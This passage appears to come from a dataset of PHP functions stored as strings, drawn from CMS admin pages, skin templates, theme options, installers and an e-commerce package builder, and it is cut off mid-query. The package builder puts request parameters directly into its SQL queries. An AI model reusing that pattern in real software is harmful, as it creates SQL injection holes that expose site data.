'text/javascript')\n\t\t\t\t), 72\n\t\t\t);\n\n\t\t\t/**\n\t\t\t * Allows developers to insert items into the page HEAD. Use `$context['parent']->Page`\n\t\t\t * for access to the page object\n\t\t\t *\n\t\t\t * @delegate InitaliseAdminPageHead\n\t\t\t * @param string $context\n\t\t\t * '/backend/'\n\t\t\t */\n\t\t\tSymphony::ExtensionManager()->notifyMembers('InitaliseAdminPageHead', '/backend/');\n\n\t\t\t$this->addHeaderToPage('Content-Type', 'text/html; charset=UTF-8');\n\n\t\t\tif(isset($_REQUEST['action'])){\n\t\t\t\t$this->action();\n\t\t\t\tAdministration::instance()->Profiler->sample('Page action run', PROFILE_LAP);\n\t\t\t}\n\n\t\t\t$this->Wrapper = new XMLElement('div', NULL, array('id' => 'wrapper'));\n\t\t\t$this->Header = new XMLElement('div', NULL, array('id' => 'header'));\n\n\t\t\t$h1 = new XMLElement('h1');\n\t\t\t$h1->appendChild(Widget::Anchor(Symphony::Configuration()->get('sitename', 'general'), rtrim(URL, '/') . '/'));\n\t\t\t$this->Header->appendChild($h1);\n\n\t\t\t$this->appendNavigation();\n\n\t\t\t$this->Contents = new XMLElement('div', NULL, array('id' => 'contents'));\n\n\t\t\t## Build the form\n\t\t\t$this->Form = Widget::Form(Administration::instance()->getCurrentPageURL(), 'post');\n\n\t\t\t$this->view();\n\t\t\t$this->Contents->appendChild($this->Form);\n\n\t\t\t$this->Footer = new XMLElement('div', NULL, array('id' => 'footer'));\n\n\t\t\t/**\n\t\t\t * Allows developers to add items just above the page footer. Use `$context['parent']->Page`\n\t\t\t * for access to the page object\n\t\t\t *\n\t\t\t * @delegate AppendElementBelowView\n\t\t\t * @param string $context\n\t\t\t * '/backend/'\n\t\t\t */\n\t\t\tSymphony::ExtensionManager()->notifyMembers('AppendElementBelowView', '/backend/');\n\n\t\t\t$this->appendFooter();\n\t\t\t$this->appendAlert();\n\n\t\t\tAdministration::instance()->Profiler->sample('Page content created', PROFILE_LAP);\n\t\t}", "function templ_extend(){\r\n\t\t$modules_array = array();\r\n\t\t$modules_array = array('templatic-custom_taxonomy','templatic-custom_fields','templatic-registration','templatic-monetization','templatic-claim_ownership');\r\n\t\trequire_once(TEMPL_MONETIZE_FOLDER_PATH.'templ_header_section.php' );\r\n\t\t?>\r\n <p class=\"tevolution_desc\"><?php echo __('Here are the most popular directory extensions to extend the functionality of your Business Directory site and make it more powerful. Please click the \"Details & Purchase\" button next to any of them to find out more about the functions they each offer.','templatic-admin');?></p>\r\n <?php\r\n\t\techo '\r\n\t\t<div id=\"tevolution_bundled\" class=\"metabox-holder wrapper widgets-holder-wrap\"><table cellspacing=\"0\" class=\"wp-list-tev-table postbox fixed pages \">\r\n\t\t\t<tbody style=\"background:white; padding:40px;\">\r\n\t\t\t<tr><td>\r\n\t\t\t';\r\n\t\t/* This is the correct way to loop over the directory. */\t\t\t\r\n\t\tdo_action('tevolution_extend_box');\r\n\t\t/* to get t plugins */\t\t\t\r\n\t\techo '</td></tr>\r\n\t\t</tbody></table>\r\n\t\t</div>\r\n\t\t';\r\n\t\r\n\t\trequire_once(TEMPL_MONETIZE_FOLDER_PATH.'templ_footer_section.php' );\r\n\t}", "function execute() {\n\t\tglobal $wgUser;\n\t\t$skin = $wgUser->getSkin();\n\n\t\t// Suppress warnings to prevent notices about missing indexes in $this->data\n\t\twfSuppressWarnings();\n\n?><!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.1//EN\" \"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"<?php $this->text('lang') ?>\" lang=\"<?php $this->text('lang') ?>\" dir=\"<?php $this->text('dir') ?>\">\n\t<head>\n\t\t<meta http-equiv=\"Content-Type\" content=\"<?php $this->text('mimetype') ?>; charset=<?php $this->text('charset') ?>\" />\n\t\t<?php $this->html('headlinks') ?>\n\t\t<title><?php $this->text('pagetitle') ?></title>\n <link rel=\"stylesheet\" type=\"text/css\" media=\"screen, projection\" href=\"<?php $this->text('stylepath') ?>/<?php $this->text('stylename') ?>/main.css\" />\n <link rel=\"stylesheet\" type=\"text/css\" <?php if(empty($this->data['printable']) ) { ?>media=\"print\"<?php } ?> href=\"<?php $this->text('stylepath') ?>/common/commonPrint.css\" />\n <style type=\"text/css\">@media print { #head, #left, #right, #foot, .editsection { display: none; }}</style>\n\t\t<?php print Skin::makeGlobalVariablesScript( $this->data ); ?>\n\t\t<script type=\"<?php $this->text('jsmimetype') ?>\" src=\"<?php $this->text('stylepath') ?>/common/wikibits.js?<?php echo $GLOBALS['wgStyleVersion'] ?>\"></script>\n <?php if($this->data['jsvarurl']) { ?><script type=\"<?php $this->text('jsmimetype') ?>\" src=\"<?php $this->text('jsvarurl') ?>\"></script><?php\t} ?>\n <?php\tif($this->data['pagecss']) { ?><style type=\"text/css\"><?php $this->html('pagecss') ?></style><?php } ?>\n\t\t<?php if($this->data['usercss']) { ?><style type=\"text/css\"><?php $this->html('usercss') ?></style><?php } ?>\n <?php if($this->data['userjs']) { ?><script type=\"<?php $this->text('jsmimetype') ?>\" src=\"<?php $this->text('userjs') ?>\"></script><?php\t} ?>\n <?php if($this->data['userjsprev']) { ?><script type=\"<?php $this->text('jsmimetype') ?>\"><?php $this->html('userjsprev') ?></script><?php } ?>\n\t\t<?php if($this->data['trackbackhtml']) print $this->data['trackbackhtml']; ?><?php $this->html('headscripts') ?>\n </head>\n\t<body\n\t\t<?php if($this->data['body_ondblclick']) { ?>ondblclick=\"<?php $this->text('body_ondblclick') ?>\"<?php } ?>\n\t\t<?php if($this->data['body_onload']) { ?>onload=\"<?php $this->text('body_onload') ?>\"<?php } ?>\n\t\tclass=\"<?php $this->text('nsclass') ?>\"\n\t>\n <a name=\"top\" id=\"top\"></a>\n <div id=\"content\">\n <div id=\"head\">\n <?php if ($this->data['loggedin']) { ?>\n\t <h5><?php $this->msg('views') ?></h5>\n\t <ul>\n\t <?php foreach($this->data['content_actions'] as $key => $action) {\n\t ?><li id=\"ca-<?php echo htmlspecialchars($key) ?>\"\n\t <?php if($action['class']) { ?>class=\"<?php echo htmlspecialchars($action['class']) ?>\"<?php } ?>\n\t ><a href=\"<?php echo htmlspecialchars($action['href']) ?>\"><?php\n\t echo htmlspecialchars($action['text']) ?></a></li><?php\n\t } ?>\n\t </ul>\n <?php } ?>\n </div>\n <div id=\"left\" class=\"sidebar\">\n\t\t\t<?php foreach ($this->data['sidebar'] as $bar => $cont) { ?>\n\t\t\t\t<h5><?php $out = wfMsg( $bar ); if (wfEmptyMsg($bar, $out)) echo $bar; else echo $out; ?></h5>\n\t\t\t\t<ul>\n <?php foreach($cont as $key => $val) { ?>\n <li id=\"<?php echo Sanitizer::escapeId($val['id']) ?>\"><a href=\"<?php echo htmlspecialchars($val['href']) ?>\"<?php echo $skin->tooltipAndAccesskey($val['id']) ?>><?php echo htmlspecialchars($val['text']) ?></a></li>\n <?php } ?>\n\t\t\t\t</ul>\n\t\t\t<?php } ?>\n\t\t\t<?php if($this->data['loggedin']) { ?>\n\t <h5><?php $this->msg('toolbox') ?></h5>\n\t\t\t <ul>\n\t <?php if($this->data['notspecialpage']) { ?>\n\t \t<li><a href=\"<?php echo htmlspecialchars($this->data['nav_urls']['whatlinkshere']['href']) ?>\" <?php echo $skin->tooltipAndAccesskey('t-whatlinkshere') ?>><?php $this->msg('whatlinkshere') ?></a></li>\n\t <?php if( $this->data['nav_urls']['recentchangeslinked'] ) { ?><li><a href=\"<?php\techo htmlspecialchars($this->data['nav_urls']['recentchangeslinked']['href']) ?>\"<?php echo $skin->tooltipAndAccesskey('t-recentchangeslinked') ?>><?php $this->msg('recentchangeslinked') ?></a></li><?php } ?>\n\t <?php\t} ?>\n\t <?php\tif(isset($this->data['nav_urls']['trackbacklink'])) { ?><li><a href=\"<?php echo htmlspecialchars($this->data['nav_urls']['trackbacklink']['href'])\t?>\"<?php echo $skin->tooltipAndAccesskey('t-trackbacklink') ?>><?php $this->msg('trackbacklink') ?></a></li><?php } ?>\n\t <?php\tif($this->data['feeds']) { ?><li><?php foreach($this->data['feeds'] as $key => $feed) {\t?><a href=\"<?php echo htmlspecialchars($feed['href']) ?>\"<?php echo $skin->tooltipAndAccesskey('feed-'.$key) ?>><?php echo htmlspecialchars($feed['text'])?></a><?php } ?></li><?php } ?>\n\t <?php\tforeach( array('contributions', 'log', 'blockip', 'emailuser', 'upload', 'specialpages') as $special ) { ?>\n\t \t <?php\tif($this->data['nav_urls'][$special]) {\t?><li><a href=\"<?php echo htmlspecialchars($this->data['nav_urls'][$special]['href']) ?>\"<?php echo $skin->tooltipAndAccesskey('t-'.$special) ?>><?php $this->msg($special) ?></a></li><?php } ?>\n\t \t <?php\t} ?>\n\t \t <?php\tif(!empty($this->data['nav_urls']['permalink']['href'])) { ?><li><a href=\"<?php echo htmlspecialchars($this->data['nav_urls']['permalink']['href'])\t?>\"<?php echo $skin->tooltipAndAccesskey('t-permalink') ?>><?php $this->msg('permalink') ?></a></li><?php\t} elseif ($this->data['nav_urls']['permalink']['href'] === '') { ?><li><?php $this->msg('permalink') ?></li><?php\t} ?>\n\t \t <?php\twfRunHooks( 'NordlichtTemplateToolboxEnd', array( &$this ) ); ?>\n\t\t\t </ul>\n\t\t <?php } ?>\n </div>\n <div id=\"main\">\n \t\t<?php if($this->data['sitenotice']) { ?><?php $this->html('sitenotice') ?><?php } ?>\n\t\t <h1 class=\"firstHeading\"><?php $this->data['displaytitle']!=\"\"?$this->html('title'):$this->text('title') ?></h1>\n\t\t\t<h3 id=\"siteSub\"><?php $this->msg('tagline') ?></h3>\n\t\t\t<div id=\"contentSub\"><?php $this->html('subtitle') ?></div>\n\t\t\t<?php if($this->data['undelete']) { ?><div id=\"contentSub2\"><?php $this->html('undelete') ?></div><?php } ?>\n\t\t\t<?php if($this->data['newtalk'] ) { ?><div class=\"usermessage\"><?php $this->html('newtalk') ?></div><?php } ?>\n\t\t\t<!-- start content -->\n\t\t\t<?php $this->html('bodytext') ?>\n\t\t\t<?php if($this->data['catlinks']) { ?><?php $this->html('catlinks') ?><?php } ?>\n </div>\n <div id=\"right\" class=\"sidebar\">\n \t <h5><label for=\"searchInput\"><?php $this->msg('search') ?></label></h5>\n\t\t <form action=\"<?php $this->text('searchaction') ?>\" id=\"searchform\">\n\t\t \t<input id=\"searchInput\" name=\"search\" type=\"text\"<?php echo $skin->tooltipAndAccesskey('search');\tif( isset( $this->data['search'] ) ) { ?> value=\"<?php $this->text('search') ?>\"<?php } ?> />\n\t\t\t\t<input type='submit' name=\"go\" class=\"searchButton\" id=\"searchGoButton\"\tvalue=\"<?php $this->msg('searcharticle') ?>\" />&nbsp;\n\t\t\t\t<input type='submit' name=\"fulltext\" class=\"searchButton\" id=\"mw-searchButton\" value=\"<?php $this->msg('searchbutton') ?>\" />\n\t\t\t</form>\n \t\t<h5><?php $this->msg('personaltools') ?></h5>\n\t\t\t<ul>\n <?php\tforeach($this->data['personal_urls'] as $key => $item) { ?>\n\t\t\t\t<li><a href=\"<?php echo htmlspecialchars($item['href']) ?>\"<?php echo $skin->tooltipAndAccesskey('pt-'.$key) ?>><?php\techo htmlspecialchars($item['text']) ?></a></li><?php } ?>\n\t\t </ul>\n </div>\n <div id=\"foot\">\n\t\t\t<ul>\n\t\t\t <?php\t$footerlinks = array('lastmod', 'viewcount'); ?>\n\t\t\t <?php\tforeach( $footerlinks as $aLink ) {?>\n\t\t\t \t<?php\tif( isset( $this->data[$aLink] ) && $this->data[$aLink] ) { ?><li><?php $this->html($aLink) ?></li><?php } ?>\n\t\t\t <?php } ?>\n\t\t\t</ul>\n </div>\n </div>\n\t<?php $this->html('bottomscripts'); /* JS call to runBodyOnloadHook */ ?>\n <?php $this->html('reporttime') ?>\n <?php if ( $this->data['debug'] ): ?>\n <!-- Debug output:\n <?php $this->text( 'debug' ); ?>\n -->\n <?php endif; ?>\n </body>\n</html>\n<?php\n\twfRestoreWarnings();\n\t}", "function my_theme_create_options() {\r\n $titan = TitanFramework::getInstance( 'genietheme' );\r\n \r\n // Create my admin panel\r\n $panel = $titan->createAdminPanel( array(\r\n 'name' => 'Theme Options',\r\n ) );\r\n \r\n \r\n $generaltab = $panel->createTab( array(\r\n 'name' => 'General Tab',\r\n ) );\r\n \r\n // Create options for my admin panel\r\n $generaltab->createOption( array(\r\n 'name' => 'LOGO',\r\n 'id' => 'head_logo',\r\n 'type' => 'upload',\r\n 'desc' => 'Upoad logo of site.'\r\n ) );\r\n \r\n $generaltab->createOption( array(\r\n 'name' => 'Header Scripts',\r\n 'id' => 'header_scripts',\r\n 'type' => 'textarea',\r\n 'desc' => 'Enter your header scripts or code like google analytics,webmaster code etc...'\r\n ) );\r\n \r\n \r\n $generaltab->createOption( array(\r\n 'name' => 'Footer Scripts',\r\n 'id' => 'footer_scripts',\r\n 'type' => 'textarea',\r\n 'desc' => 'Enter your footer scripts or code like google analytics,webmaster code etc...'\r\n ) );\r\n \r\n \r\n $generaltab->createOption( array(\r\n 'type' => 'save'\r\n ) );\r\n \r\n \r\n $titan = TitanFramework::getInstance( 'genietheme' );\r\n$productMetaBox = $titan->createMetaBox( array(\r\n 'name' => 'Additinal Job Information',\r\n 'post_type' => 'jobs',\r\n) );\r\n\r\n $productMetaBox->createOption( array(\r\n 'name' => 'Job Link',\r\n 'id' => 'j_link',\r\n 'type' => 'text',\r\n \r\n ) );\r\n $productMetaBox->createOption( array(\r\n 'name' => 'Experience Required',\r\n 'id' => 'exp_required',\r\n 'type' => 'text',\r\n \r\n ) );\r\n $productMetaBox->createOption( array(\r\n 'name' => 'Education Qualification',\r\n 'id' => 'edu_qual',\r\n 'type' => 'text',\r\n \r\n ) );\r\n $productMetaBox->createOption( array(\r\n 'name' => 'Preffered Nationality',\r\n 'id' => 'nationality',\r\n 'type' => 'text',\r\n \r\n ) );\r\n $productMetaBox->createOption( array(\r\n 'name' => 'Salary',\r\n 'id' => 'salary',\r\n 'type' => 'text',\r\n \r\n ) );\r\n $productMetaBox->createOption( array(\r\n 'name' => 'No. of vaccancies',\r\n 'id' => 'vaccancies',\r\n 'type' => 'text',\r\n \r\n ) );\r\n $productMetaBox->createOption( array(\r\n 'name' => 'Benefits',\r\n 'id' => 'benefits',\r\n 'type' => 'text',\r\n \r\n ) );\r\n $productMetaBox->createOption( array(\r\n 'name' => 'Gender',\r\n 'id' => 'gender',\r\n 'options' => array(\r\n '1' => 'Male',\r\n '2' => 'Female',\r\n '3' => 'Male/Female',\r\n ),\r\n 'type' => 'radio',\r\n 'desc' => 'Select gender',\r\n 'default' => '1',\r\n \r\n ) );\r\n\r\n \r\n}", "public function main()\n {\n // Produce browse-tree:\n $tree = $this->pagetree->getBrowsableTree();\n // Outputting page tree:\n $this->content .= $tree;\n\n $docHeaderButtons = $this->getButtons();\n\n $markers = array(\n 'IMG_RESET' => '',\n 'WORKSPACEINFO' => '',\n 'CONTENT' => $this->content,\n );\n\n // Build the <body> for the module\n $this->content = $this->doc->startPage(\n $this->getLanguageService()->sl(\n 'LLL:EXT:commerce/Resources/Private/Language/locallang_be.xml:mod_orders.navigation_title'\n )\n );\n\n $subparts = array();\n // Build the <body> for the module\n $this->content .= $this->doc->moduleBody(array(), $docHeaderButtons, $markers, $subparts);\n $this->content .= $this->doc->endPage();\n $this->content = $this->doc->insertStylesAndJS($this->content);\n }", "function install_templates()\n\t{\n\t\t//-----------------------------------------\n\t\t// Get DB\n\t\t//-----------------------------------------\n\t\t\n\t\trequire_once( INS_KERNEL_PATH . 'class_db_' . $this->install->saved_data['sql_driver'] . '.php' );\t\t\n\t\t\n\t\t$this->install->ipsclass->init_db_connection( $this->install->saved_data['db_name'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t $this->install->saved_data['db_user'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t $this->install->saved_data['db_pass'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t $this->install->saved_data['db_host'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t $this->install->saved_data['db_pre'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t $this->install->ipsclass->vars['mysql_codepage'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t $this->install->saved_data['sql_driver'] );\n\t\t//-----------------------------------------\n\t\t// Install settings\n\t\t//-----------------------------------------\n\t\n\t\t$output[] = \"Добавление шаблонов стилей...\";\n\t\t$xml = new class_xml();\n\t\t$xml->lite_parser = 1;\n\t\t\n\t\t$content = implode( \"\", file( INS_DOC_ROOT_PATH . 'resources/ipb_templates.xml' ) );\n\t\t$xml->xml_parse_document( $content );\n\t\t\n\t\t//-----------------------------------------\n\t\t// Install\n\t\t//-----------------------------------------\n\t\t\n\t\tforeach( $xml->xml_array['templateexport']['templategroup']['template'] as $id => $entry )\n\t\t{\n\t\t\t$newrow = array();\n\n\t\t\t$newrow['group_name'] = $entry[ 'group_name' ]['VALUE'];\n\t\t\t$newrow['section_content'] = $entry[ 'section_content' ]['VALUE'];\n\t\t\t$newrow['func_name'] = $entry[ 'func_name' ]['VALUE'];\n\t\t\t$newrow['func_data'] = $entry[ 'func_data' ]['VALUE'];\n\t\t\t$newrow['set_id'] = 1;\n\t\t\t$newrow['updated'] = time();\n\n\t\t\t$this->install->ipsclass->DB->allow_sub_select = 1;\n\t\t\t$this->install->ipsclass->DB->do_insert( 'skin_templates', $newrow );\n\t\t}\n\n\t\t//-------------------------------\n\t\t// GET MACROS\n\t\t//-------------------------------\n\n\t\t$content = implode( \"\", file( INS_DOC_ROOT_PATH . 'resources/macro.xml' ) );\n\t\t$xml->xml_parse_document( $content );\n\n\t\t//-------------------------------\n\t\t// (MACRO)\n\t\t//-------------------------------\n\n\t\tforeach( $xml->xml_array['macroexport']['macrogroup']['macro'] as $id => $entry )\n\t\t{\n\t\t\t$newrow = array();\n\n\t\t\t$newrow['macro_value'] = $entry[ 'macro_value' ]['VALUE'];\n\t\t\t$newrow['macro_replace'] = $entry[ 'macro_replace' ]['VALUE'];\n\t\t\t$newrow['macro_set'] = 1;\n\n\t\t\t$this->install->ipsclass->DB->do_insert( 'skin_macro', $newrow );\n\t\t}\n\t\t\n\t\t//-----------------------------------------\n\t\t// Next...\n\t\t//-----------------------------------------\n\t\t\n\t\t$this->install->template->append( $this->install->template->install_page_refresh( $output ) );\t\n\t\t$this->install->template->next_action = '?p=install&sub=other';\n\t\t$this->install->template->hide_next = 1;\n\t}", "function INSTALL($e) { $s=$im='';\n\n\nif($GLOBALS['admin']) {\n\n$GLOBALS['article']['template']='blank';\n\n\nSTYLES(\"mod\",\"\n.iDIR,.iYES,.iNON,.iDEL,.iUPD,.iADD { cursor:pointer; clear:left;float:left; }\n.iNON {color: #aaa}\n.iDEL {color: red}\n.iYES,.iUPD {color: green}\n.iADD {color: rgb(0,255,0)}\n.iNON,.iSS {text-decoration:line-through}\n.iNON:before,.iNON:after,.iSS:before,.iSS:after {content:' '}\n.iYES,.iOK {text-decoration:none}\n\n.iDIR {font-weight: bold; float:left; valign:top; }\n.iT {float:left;margin-top:20pt;}\n\n.p1 { color: #3F3F3F; text-decoration: line-through; background: #DFDFDF; } /* вычеркнутый */\n.p2 { background: #FFD0C0; } /* вставленный */\n\n\");\n\n $upgrade=gglob($GLOBALS['host_module'].\"install/*.php\");\n foreach($upgrade as $l) { $xi=explode('/',$l); $m=array_pop($xi);\n\t\t$im.=\"'$m',\";\n\t\t$s.=\"<div class='mod' id='module__$m'>\".$m.\"</div>\";\n\t}\n\nSCRIPTS(\"mod\",\"\nvar install_modules_n=0;\nfunction check_mod_do() { if(typeof install_modules[install_modules_n] == 'undefined') { install_modules_n=0; return; }\n\tvar m=install_modules[install_modules_n++];\n\tzabil('module__'+m,'<img src='+www_design+'img/ajax.gif>'+vzyal('module__'+m));\n\tmajax('module.php',{mod:'INSTALL',a:'testmod',module:m});\n}\nvar install_modules=[\".trim($im,',').\"];\n\nvar timestart;\nfunction dodo(module,allwork,time,skip,aram) {\n\tif(skip) {\n\t\tvar timenow = new Date();\n\t\tvar t=timenow.getTime()-timestart.getTime();\n\t\tvar e=parseInt((t/skip)*allwork)-t;\n\t\tzabilc('timet',' &nbsp; &nbsp; &nbsp; осталось: '+pr_time(e)+' сек');\n\t} else { timestart = new Date(); }\n\tvar ara={mod:'INSTALL',a:'do',module:module,allwork:allwork,time:time,skip:skip};\n\tif(typeof(aram)=='object') for(var i in aram) ara[i]=aram[i];\n\tmajax('module.php',ara);\n}\n\nfunction pr_time(t) { var N=new Date(); N.setTime(t); var s=pr00(N.getUTCSeconds());\n\tif(N.getUTCMinutes()) s=pr00(N.getUTCMinutes())+':'+s;\n\tif(N.getUTCHours()) s=pr00(N.getUTCHours())+':'+s;\n\treturn s;\n} function pr00(n){return ((''+n).length<2?'0'+n:n)}\n\n\npage_onstart.push('check_mod_do()');\n\n\");\n\n}\n\nreturn \"<table width=100% style='border: 1px dotted red'>\n<tr valign=top>\n\t<td>\n\t\t\n\t\t<div id='mesto_module'>$s</div>\n\t</td>\n\t<td width='100%'><div id='mesto_otvet'>\".admin_login().\"</div></td>\n</tr></table>\";\n\n}", "function prepare_html(){\n generate_html_head();\n Tests::run_tests($GLOBALS['directory_path']);\n generate_html_tail();\n}", "function m_packageBuild()\n\t{\n\t\t$this->ObTpl=new template();\n\t\t$this->ObTpl->set_file(\"TPL_PACKAGE_FILE\",$this->packageTemplate);\n\n\t\t#SETTING ALL TEMPLATE BLOCKS\n\t\t$this->ObTpl->set_block(\"TPL_PACKAGE_FILE\",\"TPL_DEPARTMENT_BLK\", \"dept_blk\");\n\t\t$this->ObTpl->set_block(\"TPL_PACKAGE_FILE\",\"TPL_ITEMS_BLK\", \"items_blk\");\n\t\t$this->ObTpl->set_block(\"TPL_PACKAGE_FILE\",\"TPL_MAIN_BLK\", \"main_blk\");\n\t\t$this->ObTpl->set_block(\"TPL_MAIN_BLK\",\"TPL_ATTACHED_BLK\", \"attached_blk\");\n\t\t#INTIALIZING VARIABLES\n\t\tif(!isset($this->request['owner']))\n\t\t{\n\t\t\t$this->request['owner']=\"0\";\n\t\t}\n\t\tif(!isset($this->request['type']))\n\t\t{\n\t\t\t$this->request['type']=\"product\";\n\t\t}\n\t\tif(!isset($this->request['otype']))\n\t\t{\n\t\t\t$this->request['otype']=\"department\";\n\t\t}\n\t\tif(!isset($this->request['kitid']))\n\t\t{\n\t\t\t$this->request['kitid']=\"\";\n\t\t}\n\n\t\t#SETTING TEMPLATE VARIABLE\n\t\t$this->ObTpl->set_var(\"GRAPHICSMAINPATH\",GRAPHICS_PATH);\t\n\t\t$this->ObTpl->set_var(\"TPL_SHOPURL\",SITE_URL.\"ecom/\");\n\t\t$this->ObTpl->set_var(\"TPL_VAR_OWNER\",$this->request['owner']);\n\t\t$this->ObTpl->set_var(\"TPL_VAR_TYPE\",$this->request['type']);\n\t\t$this->ObTpl->set_var(\"TPL_VAR_OTYPE\",$this->request['otype']);\n\t\t$this->ObTpl->set_var(\"TPL_VAR_KITID\",$this->request['kitid']);\n\t\t\n\t\t//defining language variables\n\t\t$this->ObTpl->set_var(\"LANG_VAR_BUILDPACKAGE\",LANG_BUILDPACKAGE);\n\t\t$this->ObTpl->set_var(\"LANG_VAR_CURRENTPACKAGE\",LANG_CURRENTPACKAGE);\n\t\t$this->ObTpl->set_var(\"LANG_VAR_CODE\",LANG_CODE);\n\t\t$this->ObTpl->set_var(\"LANG_VAR_PRODUCT\",LANG_PRODUCTSTXT);\n\t\t$this->ObTpl->set_var(\"LANG_VAR_QTY\",LANG_QTYTXT);\n\t\t$this->ObTpl->set_var(\"LANG_VAR_SORT\",LANG_SORT);\n\t\t$this->ObTpl->set_var(\"LANG_VAR_REMOVE\",LANG_REMOVE);\n\t\t$this->ObTpl->set_var(\"LANG_VAR_HOME\",LANG_HOME);\n\t\t$this->ObTpl->set_var(\"LANG_VAR_ALLORPHAN\",LANG_ALLORPHAN);\n\t\t$this->ObTpl->set_var(\"LANG_VAR_RETURNPACK\",LANG_RETURNTOPACK);\n\t\t$this->ObTpl->set_var(\"LANG_VAR_VIEWITEMS\",LANG_VIEWITEMS);\n\t\t$this->ObTpl->set_var(\"LANG_VAR_UPDATEPACKAGE\",LANG_UPDATEPACKAGE);\n\t\t#START DISPLAY DEPARETMENT BLOCK\n\t\t$this->obDb->query = \"SELECT vTitle,iDeptId_PK FROM \".DEPARTMENTS.\", \".FUSIONS.\" WHERE iDeptId_PK=iSubId_FK AND vType='department'\";\n\t\t$deptResult = $this->obDb->fetchQuery();\n\t\t $recordCount=$this->obDb->record_count;\n\t\t#PARSING DEPARTMENT BLOCK\n\t\t$this->ObTpl->set_var(\"SELECTED1\",\"selected\");\n\t\t\n\t\t\n\t\tif($recordCount>0)\n\t\t{\n\t\t\tfor($i=0;$i<$recordCount;$i++)\n\t\t\t{\n\t\t\t\t$_SESSION['dspTitle']=\"\";\t\t\n\t\t\t\t $this->ObTpl->set_var(\"TPL_VAR_TITLE\",$this->m_getTitle($deptResult[$i]->iDeptId_PK,'department'));\n\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_ID\",$deptResult[$i]->iDeptId_PK);\n\t\t\t\tif(isset($this->request['postOwner']) && $this->request['postOwner'] == $deptResult[$i]->iDeptId_PK)\n\t\t\t\t{\n\t\t\t\t\t$this->ObTpl->set_var(\"SELECTED1\",\"\");\n\t\t\t\t\t$this->ObTpl->set_var(\"SELECTED2\",\"selected\");\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$this->ObTpl->set_var(\"SELECTED2\",\"\");\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$this->ObTpl->parse(\"dept_blk\",\"TPL_DEPARTMENT_BLK\",true);\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->ObTpl->set_var(\"dept_blk\",\"\");\n\t\t}\n\t\t#END DISPLAY DEPARETMENT BLOCK\n\n\t\t#START DISPLAY PRODUCT BLOCK\n\t\t#IF TYPE IS CONTENT\n\t\tif(isset($this->request['postOwner']))#PRODUCT\n\t\t{#FOR ORPHAN PRODUCT\n\t\t\tif($this->request['postOwner']==\"orphan\")\n\t\t\t{\n\t\t\t\t $this->obDb->query= \"SELECT vTitle,fusionid,iProdId_PK FROM \".PRODUCTS.\" LEFT JOIN \".FUSIONS.\" ON iProdId_PK = iSubId_FK \" ;\n\t\t\t\t$queryResult = $this->obDb->fetchQuery();\n\t\t\t\t$recordCount=$this->obDb->record_count;\n\t\t\t\t\n\t\t\t\tif($recordCount>0)\n\t\t\t\t{\n\t\t\t\t\t#PARSING TPL_ITEMS_BLK\n\t\t\t\t\tfor($j=0;$j<$recordCount;$j++)\n\t\t\t\t\t{\n\t\t\t\t\t\tif(empty($queryResult[$j]->fusionid))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_TITLE\",$this->libFunc->m_displayContent($queryResult[$j]->vTitle));\n\t\t\t\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_ID\",$queryResult[$j]->iProdId_PK);\n\t\t\t\t\t\t\t$this->ObTpl->parse(\"items_blk\",\"TPL_ITEMS_BLK\",true);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t\t$this->ObTpl->set_var(\"items_blk\",\"\");\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{#IF OTHER THAN ORPHAN\n\t\t\t\t$query = \"SELECT vTitle,iProdId_PK FROM \".PRODUCTS.\", \".FUSIONS.\" WHERE iProdId_PK=iSubId_FK AND iOwner_FK='\".$this->request['postOwner'].\"' AND vOwnerType='department' AND vType='\".$this->request['type'].\"'\";\n\t\t\t\t$this->obDb->query=$query;\n\t\t\t\t$queryResult = $this->obDb->fetchQuery();\n\t\t\t\t$recordCount=$this->obDb->record_count;\n\t\t\t\tif($recordCount>0)\n\t\t\t\t{\n\t\t\t\t\t#PARSING TPL_ITEMS_BLK\n\t\t\t\t\tfor($j=0;$j<$recordCount;$j++)\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_TITLE\",$this->libFunc->m_displayContent($queryResult[$j]->vTitle));\n\t\t\t\t\t\t$this->ObTpl->set_var(\"TPL_VAR_ID\",$queryResult[$j]->iProdId_PK);\n\t\t\t\t\t\t$this->ObTpl->parse(\"items_blk\",\"TPL_ITEMS_BLK\",true);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t\t$this->ObTpl->set_var(\"items_blk\",\"\");\n\t\t\t\t}\n\t\t\t}\n\t\t\t$this->ObTpl->set_var(\"TPL_VAR_POSTOWNER\",$this->request['postOwner']);\n\t\t}\n\t\telse#POST OWNER NOT SET\n\t\t{\n\t\t\t$this->ObTpl->set_var(\"items_blk\",\"\");\n\t\t\t$this->ObTpl->set_var(\"TPL_VAR_POSTOWNER\",\"\");\n\t\t}\n\n\t\t$this->obDb->query=\"SELECT vTitle FROM \".PRODUCTS.\" WHERE iProdId_PK='\".$this->request['kitid'].\"'\";\n\t\t$rs = $this->obDb->fetchQuery();\n\t\tif(!empty($rs[0]->vTitle))\n\t\t{\n\t\t\t$this->ObTpl->set_var(\"TPL_VAR_HEADTITLE\",$this->libFunc->m_displayContent($rs[0]->vTitle));\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->ObTpl->set_var(\"TPL_VAR_HEADTITLE\",\"\");\n\t\t}\n\t\t\t\n\t\t#TO DISPLAY CURRENTLY ATTACHED ITEMS\n\t\t$query1 = \"SELECT 